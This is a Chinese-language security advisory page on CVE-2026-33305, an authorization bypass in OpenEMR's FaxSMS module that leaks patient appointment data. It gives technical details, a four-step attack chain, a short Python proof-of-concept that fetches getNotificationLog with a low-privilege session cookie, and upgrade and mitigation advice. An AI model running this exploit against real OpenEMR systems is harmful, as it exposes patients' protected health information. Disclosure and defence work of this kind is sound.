IPBUF安全漏洞报告
English
CVE-2026-33305 CVSS 5.4 中危

CVE-2026-33305 OpenEMR授权绕过漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-33305
漏洞类型
授权绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

授权绕过OpenEMR信息泄露PHI

漏洞概述

OpenEMR 在 8.0.0.2 版本之前的 FaxSMS 模块中存在授权绕过漏洞。由于 AppDispatch 构造函数在 ACL 权限检查执行前分发了用户控制的动作,导致任何经过身份验证的用户均可调用控制器方法(如返回患者预约数据的 getNotificationLog),无视所需权限,造成敏感医疗信息泄露。

技术细节

该漏洞源于 OpenEMR 可选 FaxSMS 模块(oe-module-faxsms)的 AppDispatch 构造函数逻辑缺陷。该构造函数负责分发用户控制的动作,但它在任何调用代码能够执行 ACL(访问控制列表)权限检查之前就退出了进程。因此,攻击者仅需具备低权限的经过身份验证的用户身份,即可绕过权限验证,直接调用受限的控制器方法。利用此漏洞,攻击者可以访问 getNotificationLog() 等方法,从而获取包含患者预约数据在内的受保护健康信息(PHI)。

攻击链分析

STEP 1
侦察
识别目标 OpenEMR 系统,确认版本低于 8.0.0.2 且启用了 FaxSMS 模块。
STEP 2
获取凭证
获取一个低权限的 OpenEMR 用户账号凭证(仅需认证,无需特殊权限)。
STEP 3
发送恶意请求
利用该低权限账号,向 AppDispatch 构造函数发送包含特定动作(如 getNotificationLog)的请求。
STEP 4
数据窃取
由于 ACL 检查被绕过,服务器返回患者预约数据等敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-33305 # Exploits authorization bypass in OpenEMR FaxSMS module import requests target = "http://example.com/openemr" session_cookie = "PHPSESSID=valid_low_priv_user_session" # The AppDispatch allows calling getNotificationLog without ACL checks url = f"{target}/interface/modules/zend_modules/public/faxsms/index.php?action=getNotificationLog" headers = { "Cookie": session_cookie, "User-Agent": "Mozilla/5.0" } response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Authorization Bypass Successful!") print("[+] Leaked Data:") print(response.text) else: print("[-] Failed to exploit.")

影响范围

OpenEMR < 8.0.0.2

防御指南

临时缓解措施
建议立即升级到 OpenEMR 8.0.0.2 版本以彻底修复该漏洞。如果暂时无法升级,应考虑禁用 FaxSMS 模块,或者在网络层面严格限制对该模块接口的访问,仅允许受信任的 IP 地址访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表